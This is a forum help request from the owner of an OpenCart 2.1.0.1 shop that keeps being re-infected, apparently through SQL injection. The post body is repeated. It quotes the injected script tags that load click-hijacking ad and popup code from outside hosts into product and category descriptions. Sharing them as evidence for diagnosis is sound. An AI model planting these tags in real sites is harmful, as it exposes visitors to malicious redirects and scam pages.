Opencart SQL Injection Hack
Posted: Mon May 22, 2017 9:26 am
Opencart 2.1.0.1 (Romantic theme from ThemeForest)
I have a client with an Opencart site which seems to be getting hacked via SQL injection. Scripts are getting inserted into the product & category descriptions. The scripts hijack clicks on the product & category pages causing windows to popup directing to dodgy sites (spammy virus warnings etc.). Example scripts:
Each time I roll back the site to a clean state (all files and database) a day or two will pass and the injected script is back. I've implemented all Opencart security recommendations from here: http://docs.opencart.com/administration/security/
The appear to be no file changes being made and the admin doesn't seem to be compromised. I'm not sure where the vulnerability lies.
Others seem to be facing similar problems:
viewtopic.php?f=179&t=182955
viewtopic.php?f=179&t=183438
I have a client with an Opencart site which seems to be getting hacked via SQL injection. Scripts are getting inserted into the product & category descriptions. The scripts hijack clicks on the product & category pages causing windows to popup directing to dodgy sites (spammy virus warnings etc.). Example scripts:
Code: Select all
<script data-cfasync='false' type='text/javascript' src='//p79479.clksite.com/adServe/banners?tid=79479_127480_7&tagid=2'></script><script type="text/javascript" src="//go.pub2srv.com/apu.php?zoneid=683723"></script><script async="async" type="text/javascript" src="//go.mobisla.com/notice.php?p=683724&interactive=1&pushup=1"></script>
The appear to be no file changes being made and the admin doesn't seem to be compromised. I'm not sure where the vulnerability lies.
Others seem to be facing similar problems:
viewtopic.php?f=179&t=182955
viewtopic.php?f=179&t=183438